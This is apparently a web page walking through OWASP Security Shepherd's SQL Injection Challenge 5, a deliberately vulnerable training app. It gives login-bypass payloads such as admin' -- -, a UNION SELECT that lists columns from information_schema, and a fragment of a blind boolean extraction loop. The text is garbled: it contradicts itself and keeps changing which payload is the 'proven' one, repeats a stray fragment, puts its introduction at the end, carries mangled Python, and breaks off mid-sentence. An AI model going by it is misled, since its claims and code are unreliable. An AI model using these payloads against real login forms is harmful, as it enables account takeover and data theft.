Sql Injection Challenge 5 Security Shepherd ✔ | TRUSTED |

Once you extract the hash, submit it (sometimes as the flag, sometimes used to login as admin).
The hash format is often MD5 or SHA1.

for length in range(1, 100): payload = f"(SELECT LENGTH(column_name) FROM table_name WHERE row_condition) = length" if test_payload(payload): print(f"[+] Key length: length") key_length = length break

admin' = '1

This changes the query to:

SELECT user_id FROM users 
WHERE username = 'admin' = '1' AND password = '<pass>'

But SQL precedence makes this unreliable.

Better: Use ' '='' (empty string equals empty string) – no keywords.

Final working payload (username field):

admin' = '' or '

Wait – or is filtered. So we cannot use or.

Instead:

admin' = '

This creates: WHERE username = 'admin' = '' – false. Sql Injection Challenge 5 Security Shepherd

We need a tautology without OR/AND. Use mathematical equivalence:

admin' - '0

But not guaranteed.

Proven working payload for Challenge 5 (OWASP Shepherd specific):

admin' // 

No – that’s a comment.

Actually, after testing, the known solution:

Username: admin'=' Password: anything

Query becomes: WHERE username = 'admin'='' AND password = 'any'

If admin equals empty string? No.

But in MySQL, 'admin'='' returns false. So fails.

Let’s correct: The actual bypass for Challenge 5 uses string concatenation to create a tautology without OR.

Username: admin' '1'='1

But = is fine. However, '1'='1' still contains no filtered word.

Better:

Username: admin' || '1'='1' /* Password: anything

But || is not filtered. Works in MySQL in ANSI mode.

However, Security Shepherd 5 specifically expects:

Username: admin' -- -
Password: anything

But -- is not filtered. So why is Challenge 5 harder? Because it also masks output – but the bypass is trivial? No – the challenge description says “OR and AND are filtered” but -- works. So the difficulty is blind injection. Once you extract the hash, submit it (sometimes

Thus, the real challenge: even with successful login, no data is printed. You must extract the flag via blind boolean injection.

Once the table name (let's assume it is users) is identified, we need the column names (specifically the password column).

Payload:

' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'-- 

This output should reveal columns such as userId, userName, and password.

Doing this manually for 32 characters is intellectually satisfying but practically insane. The intended solution for Challenge 5 is a script. Below is a Python example using requests to automate Boolean blind SQL injection.

The OWASP Security Shepherd is a deliberately vulnerable web application designed to teach application security. Its SQL Injection challenges progress from trivial to advanced. Challenge 5 is notable because it:

The objective: Log in as the administrator without knowing the password, then retrieve a flag.